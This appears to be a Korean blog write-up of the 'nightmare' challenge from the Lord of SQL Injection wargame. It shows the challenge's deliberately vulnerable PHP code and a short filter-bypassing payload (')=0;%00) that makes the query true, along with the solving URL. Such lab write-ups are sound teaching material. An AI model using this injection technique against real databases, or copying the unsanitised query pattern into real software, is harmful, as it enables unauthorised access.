반응형
문제 18번 - nightmare
query : select id from prob_nightmare where pw=('') and id!='admin'
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
일단 다른 문제들과 같이 php코드가 주어져있다.
먼저 필터링 함수를 확인하면 pw를 받는 변수에 prob와 _ , . ,() , # , -을 필터링하고 대소문자를 구별하지 않는 것을 확인할 수 있다.
또 추가로 pw의 길이가 6자리가 넘지 않게 입력해야한다는 조건이 붙어있다.
<?php
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
?>
clear조건을 확인해 보니 쿼리문이 참이되면 된다는 것을 알 수 있다.
추가로 쿼리문에 평상시와 다르게 ('가 있는 것을 확인 할 수 있는데 이것을 이용하라는 것 같다.
<?php
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
위 조건들을 활용하여 방법을 찾아보니 일단 1=1과 같은 의미로 ('')=0이 쓰인다는 것을 알게 되었다. 이것을 이용하라는 것 같다. 또 뒤에를 주석처리해야하는데 주석처리 중에서 가장 길이가 짧은 ;%00을 사용하였다.
따라서 pw=')=0;%00 을 입력해주면 된다.
solve
https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=%27)=0;%00
반응형
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 20번 dragon write-up (0) | 2021.07.10 |
---|---|
LOS (Lord of SQL injection) 문제 19번 xavi write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 17번 zombie_assassin write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 16번 succubus write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 15번 assassin write-up (0) | 2021.07.07 |